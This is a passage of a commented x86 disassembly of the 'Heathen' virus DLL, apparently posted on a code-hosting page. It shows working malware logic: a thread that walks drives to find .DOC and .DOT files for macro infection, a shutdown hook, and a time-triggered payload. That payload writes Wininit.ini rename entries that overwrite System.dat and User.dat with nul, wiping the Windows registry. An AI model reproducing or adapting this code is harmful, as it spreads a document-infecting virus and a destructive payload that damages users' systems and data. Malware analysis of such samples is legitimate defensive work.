call DeleteDirectoryfromList ; get a directory from list to search files (and free it from list)
add esp, 8
lea ecx, [esp+724h+DirectoryName] ; path to search files
push ecx
push offset aSearchPattern
lea eax, [esp+72Ch+File_Search_Pattern]
push eax
call API_wsprintfA ; "drive:directory*.*"
add esp, 0Ch
push esi ; ESI = WIN32_FIND_DATA
lea edx, [esp+728h+File_Search_Pattern]
push edx
call API_FindFirstFileA ; find files!
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz error81 ; error
Check_File:
test byte ptr [esi+WIN32_FIND_DATA_STRUC.dwFileAttributes], 10h ; FILE_ATTRIBUTE_DIRECTORY?
jz short File_Found
push offset a__
lea eax, [esi+WIN32_FIND_DATA_STRUC.cFileName]
push eax
call API_lstrcmpA
test eax, eax
jz short File_Found ; jump if ".."
push offset a_
lea edx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
push edx
call API_lstrcmpA
test eax, eax
jz short File_Found ; jump if "."
lea ecx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
push ecx ; name of found subdirectory
lea eax, [esp+728h+DirectoryName]
push eax
push offset aSS1 ; "%s%s"
lea edx, [esp+730h+SubdirectoryName]
push edx
call API_wsprintfA ; "drive:directorysubdirectory"
add esp, 10h
lea ecx, [esp+724h+SubdirectoryName]
push ecx
push offset DirectoryList
call AddDirectorytoList ; add it to List
add esp, 8
test eax, eax
jnz short Search_More_Files ; search more files
xor eax, eax ; error
jmp error80
; ---------------------------------------------------------------------------
jmp short Search_More_Files
; ---------------------------------------------------------------------------
File_Found:
lea edx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
push edx
call UpperCase ; convert all letters to uppercase
pop ecx
xor eax, eax ; EAX = index in filename
jmp short Check_File2
; ---------------------------------------------------------------------------
search_end_of_filename:
inc eax
Check_File2:
cmp [esi+eax+WIN32_FIND_DATA_STRUC.cFileName], 0
jnz short search_end_of_filename ; get to end of filename
lea edx, [esi+WIN32_FIND_DATA_STRUC.dwReserved1]
add eax, edx ; EAX = pointer to 4 bytes before end of filename
mov edx, [eax]
cmp edx, 434F442Eh ; ".DOC"
jz short Target_Extensions
cmp edx, 544F442Eh ; ".DOT"
jnz short Search_More_Files
Target_Extensions:
lea eax, [esi+WIN32_FIND_DATA_STRUC.cFileName]
push eax
lea ecx, [esp+728h+DirectoryName]
push ecx
push offset aSS2
lea eax, [esp+730h+FileName]
push eax
call API_wsprintfA ; "drive:directorydocument"
add esp, 10h
lea edx, [esp+724h+FileName]
push edx
push offset DirectoryList.NextDirectorySTRUC
call AddDirectorytoList ; add document to List
add esp, 8
test eax, eax
jnz short Search_More_Files
xor eax, eax ; error
jmp short error80
; ---------------------------------------------------------------------------
Search_More_Files:
push esi
push ebx
call API_FindNextFileA ; search more files/subdirectories
test eax, eax
jnz Check_File ; check this file
push ebx
call API_FindClose ; close search handle
error81:
mov eax, 1 ; means error free :-)
error80:
add esp, 724h ; (EAX = 0 --> some error occured)
pop esi
pop ebx
retn
SearchDirectories endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
THREAD2_EntryPoint proc near
push ebp
mov ebp, esp
continue_search:
call SearchDirectories
test eax, eax
jz short error30 ; EAX=0 means that some error occured
push 3E8h ; timeout interval=1000 miliseconds = 1 second
push ds:EventHandle
call API_WaitForSingleObject ; wait for the event to be signaled
cmp eax, 102h ; WAIT_TIMEOUT?
jz short continue_search ; in case of timeout, repeat process. Else finish thread.
error30:
xor eax, eax
pop ebp
retn 4 ; exit thread
THREAD2_EntryPoint endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
WndProc proc near
HWND= dword ptr 8
UINT= dword ptr 0Ch
WPARAM= dword ptr 10h
LPARAM= dword ptr 14h
push ebp
mov ebp, esp
mov edx, [ebp+WPARAM] ; wparam
mov eax, [ebp+UINT] ; message identifier
mov ecx, eax
sub ecx, 16h ; WM_ENDSESSION informs the application whether the Windows session is ending)
jnz short calldefaultWndProc ; go to default WndProc, unless WM_ENDSESSION is received
test edx, edx
jz short messageprocessed ; wparam=FALSE=session is NOT being ended
push ds:EventHandle
call API_SetEvent ; set state of event object as signaled, so API WaitSingleObject returns!
push 0FFFFFFFFh
push ds:Thread2_Handle
call API_WaitForSingleObject ; wait to signaled state of the Thread2, that is, when thread finishes
call UpdateScanData ; write to disk the list of currently scanned directories
mov eax, ds:IStream
push eax
mov edx, [eax]
call [edx+IStream_Interface.Release] ; close stream WordDocument (OnILockBytes)
mov eax, ds:IStorage
push eax
mov edx, [eax]
call [edx+IStorage_Interface.Release] ; close IStorage (OnIlockBytes)
mov ecx, ds:ILockBytes
push ecx
mov eax, [ecx]
call [eax+ILockBytes_Interface.Release] ; release ILockBytes interface
cmp ds:MoreThanHalfYear, 0
jz short messageprocessed ; skip if less than 183 days since virus installation
call PAYLOAD ; lets play with wininit.ini :-D
jmp short messageprocessed
; ---------------------------------------------------------------------------
calldefaultWndProc:
push [ebp+LPARAM] ; lparam
push edx ; wparam
push eax ; uint
push [ebp+HWND] ; hwnd
call API_DefWindowProcA ; call default WndProc
jmp short Exit_WndProc
; ---------------------------------------------------------------------------
messageprocessed:
xor eax, eax ; indicate that the message has been procesed
Exit_WndProc:
pop ebp
retn 10h
WndProc endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
THREAD1_EntryPoint proc near
Message= dword ptr -48h
WndClass= WNDCLASS_STRUC ptr -2Ch
Thread2_ID= dword ptr -4
DllHandle= dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFB8h
push ebx
call InitVariables ; init some variables and check date (for payload)
test eax, eax
jz Exit_THREAD1 ; exit on error
push offset MemoryAllocator
push 1 ; must be 1
call API_CoGetMalloc ; get IMalloc interface
call InitDirectoryList ; initialize directory list
xor eax, eax
xor edx, edx
mov [ebp+WndClass.style], eax
xor ecx, ecx
mov [ebp+WndClass.lpfnWndProc], offset WndProc
mov [ebp+WndClass.cbClsExtra], edx
mov [ebp+WndClass.cbWndExtra], ecx
mov eax, [ebp+DllHandle] ; argument given to the thread
mov [ebp+WndClass.hInstance], eax
push 7F00h ; IDI_APPLICATION (default application icon)
push 0 ; NULL
call API_LoadIconA ; return handle to the application icon
mov [ebp+WndClass.hIcon], eax
push 7F00h ; IDC_ARROW
push 0
call API_LoadCursorA ; return handle to the application cursor
mov [ebp+WndClass.hCursor], eax
push 4 ; BLACK_BRUSH
call API_GetStockObject ; retrieves a handle to one of the predefined stock pens
mov [ebp+WndClass.hbrBackground], eax
xor edx, edx
mov [ebp+WndClass.lpszMenuName], edx ; NULL=windows belonging to this class have no default menu
lea ecx, [ebp+WndClass] ; address of structure with class data
mov [ebp+WndClass.lpszClassName], offset aHeathenwc ; lpszClassName
push ecx
call API_RegisterClassA ; registers a window class for subsequent calls to CreateWindow/CreateWindowEx
test ax, ax
jz Exit_THREAD1 ; error
push 0 ; lpParam=NULL
push [ebp+DllHandle] ; application instance
push 0 ; NULL
push 0 ; NULL
push 64h ; height
push 64h ; width
push 80000000h ; CW_USEDEFAULT
push 80000000h ; CW_USEDEFAULT
push 80000000h ; CW_USEDEFAULT
push 0
push offset aHeathenwc ; pointer to registered class name
push 0
call API_CreateWindowExA ; create window
test eax, eax
jz short Exit_THREAD1 ; error
lea eax, [ebp+Thread2_ID] ; &Thread2_ID
push eax
push 4 ; CREATE_SUSPENDED
push 0 ; argument for new thread
push offset THREAD2_EntryPoint ; LPTHREAD_START_ROUTINE
push 10000h ; stack size
push 0 ; NULL = Thread attributes
call API_CreateThread ; create Thread2
mov ebx, eax
mov ds:Thread2_Handle, ebx ; save thread2 handle
test ebx, ebx
jz short Exit_THREAD1 ; error
push offset aHeathenIsHere ; event object name
push 0 ; Initial State = nonsignaled
push 1 ; it requires to manually reset the state to nonsignaled
push 0 ; NULL = handle cannot be inherited
call API_CreateEventA ; create an event object
mov ds:EventHandle, eax ; save event handle
push 0FFFFFFF1h ; THREAD_BASE_IDLE
push ds:Thread2_Handle
call API_SetThreadPriority ; set Thread2 priority
push ds:Thread2_Handle
call API_ResumeThread ; resume thread! :-)
jmp short getmessage
; ---------------------------------------------------------------------------
dispatchmessage:
lea eax, [ebp+Message]
push eax
call API_DispatchMessageA ; dispatch message
getmessage:
push 0 ; wMsgFilterMax=NULL (no range filtering is performed)
push 0 ; wMsgFilterMin=NULL (no range filtering is performed)
push 0 ; NULL=retrieves messages for any window that belongs to the calling thread
lea edx, [ebp+Message]
push edx
call API_GetMessageA ; retrieves a message from the calling thread's message queue and places it in the specified structure
test eax, eax
jnz short dispatchmessage ; do it again until the function retrieves the WM_QUIT message
Exit_THREAD1:
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
retn 4 ; end thread
THREAD1_EntryPoint endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
DllMain proc near
Thread1_ID= byte ptr -4
hinstDLL= dword ptr 8
fdwReason= dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
cmp [ebp+fdwReason], 1 ; DLL_PROCESS_ATTACH?
jnz short exit_Dllmain ; no
lea eax, [ebp+Thread1_ID]
push eax ; &Thread1_ID
push 4 ; CREATE_SUSPENDED
push [ebp+hinstDLL] ; argument for new thread (=Dll module handle)
push offset THREAD1_EntryPoint ; LPTHREAD_START_ROUTINE
push 10000h ; size of stack
push 0 ; NULL = thread attributes
call API_CreateThread ; create Thread1
mov ebx, eax
test ebx, ebx
jz short exit_Dllmain ; exit on error
push 0FFFFFFF1h ; THREAD_BASE_IDLE
push ebx ; Thread1 handle
call API_SetThreadPriority ; set Thread1 priority
push ebx ; Thread1 handle
call API_ResumeThread ; resume thread! :-)
exit_Dllmain:
mov eax, 1 ; TRUE = DllMain succeeds
pop ebx
pop ecx
pop ebp
retn 8
DllMain endp
; --------------- S U B R O U T I N E ---------------------------------------
API_SetThreadPriority proc near
jmp ds:SetThreadPriority
API_SetThreadPriority endp
; --------------- S U B R O U T I N E ---------------------------------------
API_GetWindowsDirectoryA proc near
jmp ds:GetWindowsDirectoryA
API_GetWindowsDirectoryA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_FindNextFileA proc near
jmp ds:FindNextFileA
API_FindNextFileA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_CreateEventA proc near
jmp ds:CreateEventA
API_CreateEventA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_SetEvent proc near
jmp ds:SetEvent
API_SetEvent endp
; --------------- S U B R O U T I N E ---------------------------------------
API_FindClose proc near
jmp ds:FindClose
API_FindClose endp
; --------------- S U B R O U T I N E ---------------------------------------
API_WaitForSingleObject proc near
jmp ds:WaitForSingleObject
API_WaitForSingleObject endp
; --------------- S U B R O U T I N E ---------------------------------------
API_GetDriveTypeA proc near
jmp ds:GetDriveTypeA
API_GetDriveTypeA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_GetLogicalDrives proc near
jmp ds:GetLogicalDrives ; Get bitmask representing
API_GetLogicalDrives endp ; the currently available disk drives
; --------------- S U B R O U T I N E ---------------------------------------
API_FileTimeToSystemTime proc near
jmp ds:FileTimeToSystemTime
API_FileTimeToSystemTime endp
; --------------- S U B R O U T I N E ---------------------------------------
API_CreateFileA proc near
jmp ds:CreateFileA
API_CreateFileA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_FindFirstFileA proc near
jmp ds:FindFirstFileA
API_FindFirstFileA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_SetFileTime proc near
jmp ds:SetFileTime
API_SetFileTime endp
; --------------- S U B R O U T I N E ---------------------------------------
API_ResumeThread proc near
jmp ds:ResumeThread
API_ResumeThread endp
; --------------- S U B R O U T I N E ---------------------------------------
API_CreateThread proc near
jmp ds:CreateThread
API_CreateThread endp
; --------------- S U B R O U T I N E ---------------------------------------
API_CloseHandle proc near
jmp ds:CloseHandle
API_CloseHandle endp
; --------------- S U B R O U T I N E ---------------------------------------
API_WriteFile proc near
jmp ds:WriteFile
API_WriteFile endp
; --------------- S U B R O U T I N E ---------------------------------------
API_lstrcatA proc near
jmp ds:lstrcatA
API_lstrcatA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_lstrcmpA proc near
jmp ds:lstrcmpA
API_lstrcmpA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_lstrcpyA proc near
jmp ds:lstrcpyA
API_lstrcpyA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_lstrlenA proc near
jmp ds:lstrlenA
API_lstrlenA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_GetSystemTime proc near
jmp ds:GetSystemTime
API_GetSystemTime endp
; --------------- S U B R O U T I N E ---------------------------------------
API_RegisterClassA proc near
jmp ds:RegisterClassA
API_RegisterClassA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_LoadIconA proc near
jmp ds:LoadIconA
API_LoadIconA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_LoadCursorA proc near
jmp ds:LoadCursorA
API_LoadCursorA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_GetMessageA proc near
jmp ds:GetMessageA
API_GetMessageA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_DispatchMessageA proc near
jmp ds:DispatchMessageA
API_DispatchMessageA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_DefWindowProcA proc near
jmp ds:DefWindowProcA
API_DefWindowProcA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_CreateWindowExA proc near
jmp ds:CreateWindowExA
API_CreateWindowExA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_wsprintfA proc near
jmp ds:wsprintfA
API_wsprintfA endp
; --------------- S U B R O U T I N E ---------------------------------------
API_StgOpenStorage proc near
jmp ds:StgOpenStorage
API_StgOpenStorage endp
; --------------- S U B R O U T I N E ---------------------------------------
API_StgCreateDocfileOnILockBytes proc near
jmp ds:StgCreateDocfileOnILockBytes
API_StgCreateDocfileOnILockBytes endp
; --------------- S U B R O U T I N E ---------------------------------------
API_CreateILockBytesOnHGlobal proc near
jmp ds:CreateILockBytesOnHGlobal
API_CreateILockBytesOnHGlobal endp
; --------------- S U B R O U T I N E ---------------------------------------
API_CoGetMalloc proc near
jmp ds:CoGetMalloc
API_CoGetMalloc endp
; --------------- S U B R O U T I N E ---------------------------------------
API_GetStockObject proc near
jmp ds:GetStockObject
API_GetStockObject endp
; ---------------------------------------------------------------------------
align 100h
db 0A00h dup(?)
CODE ends
; Section 2. (virtual address 00003000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000400 ( 1024.)
; Offset to raw data for section: 00001C00
; Flags C0000040: Data Readable Writable
; Alignment : 16 bytes ?
; ---------------------------------------------------------------------------
; Segment type: Pure data
DATA segment para public 'DATA' use32
assume cs:DATA
;org 403000h
aGetWindowsDirectoryA db 'GetWindowsDirectoryA',0
aCopyFileA db 'CopyFileA',0
DeleteFileA db 'DeleteFileA',0
aCreateFileA db 'CreateFileA',0
aReadFile db 'ReadFile',0
aWriteFile db 'WriteFile',0
aCloseHandle db 'CloseHandle',0
aSetFilePointer db 'SetFilePointer',0
aGetFileTime db 'GetFileTime',0
aSetFileTime db 'SetFileTime',0
alstrcatA db 'lstrcatA',0
alstrcpyA db 'lstrcpyA',0
alstrcmpA db 'lstrcmpA',0
alstrlenA db 'lstrlenA',0
aStgOpenStorage db 'StgOpenStorage',0
aStgCreateDocfile db 'StgCreateDocfile',0
aCoGetMalloc db 'CoGetMalloc',0
aLoadLibraryA db 'LoadLibraryA',0
aKernel32_dll db 'KERNEL32.DLL',0
aHtmp_doc db 'Htmp.doc',0
aExplorer_exe db 'Explorer.exe',0
aHeathen_vex db 'Heathen.vex',0
aHeathen_vdl db 'Heathen.vdl',0
aHeathen_vdo db 'Heathen.vdo',0
aWininit_ini db 'Wininit.ini',0
aRename db '[rename]',0Dh,0Ah,0
aWorddocument:
unicode 0, <WordDocument>,0
xTable:
unicode 0, <xTable>,0
aMacros:
unicode 0, <Macros>,0
aScandata:
unicode 0, <ScanData>,0
aHeathenwc db 'HeathenWC',0
aHeathenIsHere db 'Heathen is here',0
aRename2 db '%snul=%sSystem.dat',0Dh,0Ah
db 'nul=%sUser.dat',0Dh,0Ah
db 'nul=%sSystem.da0',0Dh,0Ah
db 'nul=%sUser.da0',0
aRoot db 'A:',0
aSearchPattern db '%s*.*',0
a__ db '..',0
a_ db '.',0
aSS1 db '%s%s',0
aSS2 db '%s%s',0
db 0 ;
MemoryAllocator dd 0
DirectoryList dd 0 ; DirectoryName
dd 0 ; NextDirectorySTRUC
WindowsDirectory db 12Ch dup(0)
ILockBytes dd 0
IStorage dd 0
; IStorage del heathen.vdo
IStream dd 0
HeathenMacrosSize dq 0
UNICODE_HeathenVDO db 258h dup(0)
Drive dd ?
MoreThanHalfYear dd ?
may14h dd ?
EventHandle dd ?
Thread2_Handle dd ?
align 1000h
DATA ends
;
; Imports from KERNEL32.dll
;
; Section 3. (virtual address 00004000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000600 ( 1536.)
; Offset to raw data for section: 00002000
; Flags C0000040: Data Readable Writable
; Alignment : 16 bytes ?
; ---------------------------------------------------------------------------
; Segment type: Externs
; _idata
extrn SetThreadPriority:dword
extrn GetWindowsDirectoryA:dword
extrn FindNextFileA:dword
extrn CreateEventA:dword
extrn SetEvent:dword
extrn FindClose:dword
extrn WaitForSingleObject:dword
extrn GetDriveTypeA:dword
extrn GetLogicalDrives:dword
; Get bitmask representing
; the currently available disk drives
extrn FileTimeToSystemTime:dword
extrn CreateFileA:dword
extrn FindFirstFileA:dword
extrn SetFileTime:dword
extrn ResumeThread:dword
extrn CreateThread:dword
extrn CloseHandle:dword
extrn WriteFile:dword
extrn lstrcatA:dword
extrn lstrcmpA:dword
extrn lstrcpyA:dword
extrn lstrlenA:dword
extrn GetSystemTime:dword
;
; Imports from USER32.dll
;
extrn RegisterClassA:dword
extrn LoadIconA:dword
extrn LoadCursorA:dword
extrn GetMessageA:dword
extrn DispatchMessageA:dword
extrn DefWindowProcA:dword
extrn CreateWindowExA:dword
extrn wsprintfA:dword
;
; Imports from OLE32.dll
;
extrn StgOpenStorage:dword
extrn StgCreateDocfileOnILockBytes:dword
extrn CreateILockBytesOnHGlobal:dword
extrn CoGetMalloc:dword
;
; Imports from GDI32.dll
;
extrn GetStockObject:dword
end DLL_EntryPoint
Reference in New Issue Copy Permalink